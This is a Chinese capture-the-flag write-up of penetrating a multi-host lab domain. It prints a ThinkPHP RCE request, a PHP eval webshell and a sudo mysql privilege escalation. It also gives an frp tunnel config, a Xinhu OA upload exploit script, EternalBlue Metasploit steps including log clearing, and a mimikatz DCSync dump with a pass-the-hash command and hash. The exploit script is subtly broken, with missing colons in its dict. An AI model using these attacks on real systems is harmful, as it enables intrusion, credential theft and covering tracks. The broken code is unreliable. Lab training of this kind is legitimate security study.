记一次多节点的靶场渗透

作者:正在思考ing 发布:2026-07-18 09:27 收录:2026-09-07 16:51 2 次阅读 约 2182 字
摘要:正在坐牢ing,闲来无事,于是打靶练习。评价是比台上讲的有意思。
推荐理由:本文涵盖「内网渗透」、「RCE」、「靶场」等多个主题,重点关注 内网渗透。

正在坐牢ing,闲来无事,于是打靶练习。评价是比台上讲的有意思。


介绍:Initial是一套难度为简单的靶场环境,完成该挑战可以帮助玩家初步认识内网渗透的简单流程。该靶场只有一个flag,各部分位于不同的机器上。

外围打点

信息收集

漏洞利用

结合无影里的指纹信息以及nuclei的扫描结果大致确定该web存在thinkphp的漏洞,然后查找漏洞利用方法,发现存在rce执行,这里先进行基础的命令测试,如下图,发现错误页面中存在pwd的回显结果

POST /index.php?s=captcha HTTP/1.1
Host: 39.99.241.182
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 73

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd

可以利用该漏洞写入一句话木马到shell.php中,然后webshell管理工具连接

echo '<?php eval($_POST[aaa]); ?>' > shell.php

当然这里也可以直接工具一把梭,使用框架漏扫工具直接getshell

权限提升

进去之后查看身份发现是www-data,权限较低,也并没有发现flag相关的内容,尝试提权

sudo -l 
查看该用户具有sudo权限的工具有哪些

发现该用户的mysql具有sudo权限,可以利用mysql提权短暂获得root权限

sudo mysql -e '\! whoami'

测试发现用户变为root,提权成功,然后直接正则匹配找到flag位置

sudo mysql -e '\! find / -name "flag*"'

flag01: flag{60b53231-

内网渗透

内网信息收集

上传内网扫描工具fscan,注意这里的版本选择1.8的,高版本格式较乱

查看该web服务器的内网ip,然后直接对该c段进行扫描

./fscan_386 -h 172.22.1.1/24 > res.txt
start infoscan
已完成 0/0 listen ip4:icmp 0.0.0.0: socket: operation not permitted
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.1.2      is alive
(icmp) Target 172.22.1.15     is alive
(icmp) Target 172.22.1.21     is alive
(icmp) Target 172.22.1.18     is alive
[*] Icmp alive hosts len is: 4
172.22.1.2:88 open
172.22.1.18:3306 open
172.22.1.21:445 open
172.22.1.18:445 open
172.22.1.2:445 open
172.22.1.21:139 open
172.22.1.18:139 open
172.22.1.21:135 open
172.22.1.18:135 open
172.22.1.2:135 open
172.22.1.18:80 open
172.22.1.15:80 open
172.22.1.15:22 open
172.22.1.2:139 open
[*] alive ports len is: 14
start vulscan
[+] NetInfo:
[*]172.22.1.18
   [->]XIAORANG-OA01
   [->]172.22.1.18
[+] NetInfo:
[*]172.22.1.2
   [->]DC01
   [->]172.22.1.2
[+] NetInfo:
[*]172.22.1.21
   [->]XIAORANG-WIN7
   [->]172.22.1.21
[*] 172.22.1.2     [+]DC XIAORANG\DC01              Windows Server 2016 Datacenter 14393
[*] 172.22.1.2  (Windows Server 2016 Datacenter 14393)
[+] 172.22.1.21 MS17-010 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] WebTitle:http://172.22.1.15        code:200 len:5578   title:Bootstrap Material Admin
[*] 172.22.1.21          XIAORANG\XIAORANG-WIN7     Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] 172.22.1.18          XIAORANG\XIAORANG-OA01     Windows Server 2012 R2 Datacenter 9600
[*] WebTitle:http://172.22.1.18        code:302 len:0      title:None 跳转url: http://172.22.1.18?m=login
[*] WebTitle:http://172.22.1.18?m=login code:200 len:4012   title:信呼协同办公系统
已完成 14/14
[*] 扫描结束,耗时: 17.381070251s

得到该网段的节点信息,整理之后如下:

IP
主机名
系统
角色
开放端口
172.22.1.2
DC01
Windows Server 2016
域控
 🏛️
88,135,139,445
172.22.1.18
XIAORANG-OA01
Windows Server 2012
OA服务器
 📄
80,135,139,445,3306
172.22.1.21
XIAORANG-WIN7
Windows Server 2008 R2
工作站
 💻
135,139,445
172.22.1.15
Linux
Web服务器
 🌐
22,80

搭建代理

这里因为其他三台主机在内网环境,我们主机是无法访问到的,所以需要进行代理搭建从而实现内网穿透。我这里选择的是0.51版本的frp,下图是在vps上执行的命令

./frps -c frps.ini

下面是在web服务器上执行的命令,需要修改下frpc.ini中的内容:

[common]
server_addr = vps的ip
server_port = 7000 #远程vps端口

[socks5]   
type = tcp     
plugin = socks5    
remote_port = 8000 #服务器本地代理端口
./frpc -c frpc.ini

接着配置本机,搭建全局代理,从而能访问到内网的主机

首先添加一个代理服务器,然后新建一个代理规则,选择目标主机

[frpc客户端]  → 连接到 → [frps服务端(VPS)]
                              ↓
                        VPS 监听 8000 端口
                              ↓
                    [攻击者/访问者] 连接 VPS:8000

oa系统的渗透

首先访问172.22.1.18,跳转到信呼oa系统,直接弱密钥登录后台

admin/admin123

https://github.com/Threekiii/Vulnerability-Wiki/blob/master/docs-base/docs/oa/%E4%BF%A1%E5%91%BCOA-qcloudCosAction.php-%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.md

搜索后找到信呼oa的文件上传漏洞,这里可以直接打里面的poc,按要求修改内容,并且添加一个密码为1的一句话木马文件1.php

# 1.php为webshell

# 需要修改以下内容:
# url_pre = 'http://<IP>/'
# 'adminuser': '<ADMINUSER_BASE64>',
# 'adminpass': '<ADMINPASS_BASE64>',

import requests

session = requests.session()
url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
# url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=<ID>'
data1 = {
    'rempass''0',
    'jmpass''false',
    'device''1625884034525',
    'ltype''0',
    'adminuser''YWRtaW4=',
    'adminpass''YWRtaW4xMjM=',
    'yanzm'''    
}

r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php''r+')})
filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
print(filepath)
id = r.json()['id']
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'
r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('dir');")
print(r.text)

执行poc脚本后获取到木马的上传路径,直接哥斯拉连接,这是Windows系统,通过翻找找到flag的位置在C:\Users\Administrator\flag

flag02: 2ce3-4813-87d4-

域内主机的渗透

接下来我们的目标方向在另一台域内主机,端口扫描发现开放445端口,可以直接打永恒之蓝漏洞

这里我们使用kali的msfconsole进行攻击,首先还是要配置下全局代理

vim /etc/proxychains4.conf
proxychains4 msfconsole
proxychains4 msfconsole  
search ms17-010(搜索永恒之蓝的利用模块)
use exploit/windows/smb/ms17_010_eternalblue (共有四个,优先用第一个最常见的,也可以直接use 0) 
set payload windows/x64/meterpreter/bind_tcp_uuid  (设置payload,可以使用show payloads进行查看)
set RHOSTS 172.22.1.21  (设置目标ip)
exploit

最后有win输出说明利用成功,meterpreter模块有如下常见命令:

meterpreter > screenshot # 捕获屏幕  
meterpreter > upload hello.txt c:// #上传文件  
meterpreter > download d://1.txt # 下载文件  
meterpreter > shell # 获取cmd  
meterpreter > clearev # 清除日志

但是测试发现该主机中没有flag,所以此时要考虑横向移动打域控主机

横移打DC域控机

DCSync:在域环境中,域控制器(DC) 之间会通过 目录复制服务远程协议(MS-DRSR) 定时同步数据(如用户密码),以保持数据一致。DCSync攻击的核心在于,一个拥有特定权限的账户,可以利用这个同步机制,向域控发送一个名为 DSGetNCChanges 的合法复制请求,来"骗取"域控返回包括密码哈希在内的敏感凭据数据。整个攻击过程中,攻击者无需登录域控服务器,因此极具隐蔽性

默认情况下,只有以下高权限组或账户才拥有发起DCSync所需的目录复制权限:

  • 域管理员 (Domain Admins)
  • 企业管理员 (Enterprise Admins)
  • 域控制器本身的计算机账户

这里能打DCSync的原因是在之前fscan的扫描结果中存在

[+] 172.22.1.21 MS17-010 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)

我们通过永恒之蓝拿到该主机的权限,该主机是Enterprise用户,所以可以进行攻击

load kiwi  # 调用mimikatz模块
kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" # 导出域内所有用户的信息(包括哈希值),这里的xiaorang.lab是域名

我们拿到管理员密码的hash,就可以进行横向一道控制dc域控机。

哈希传递:是一种利用 Windows 身份验证机制缺陷的攻击技术,攻击者不需要破解密码明文,只需要拿到密码的哈希值,就能直接用它来登录其他机器

proxychains4 crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
#这里使用smb协议也是因为永恒之蓝中可以使用该协议发起远程命令执行

flag03: e8f88d0d43d6}


转载声明:本文转载自原发布平台 (作者:正在思考ing), 原文标题《记一次多节点的靶场渗透》, 查看原文。 版权归原作者及原发布平台所有,本站仅作收录与展示,未对正文内容作实质性修改; 若涉及侵权请联系本站处理。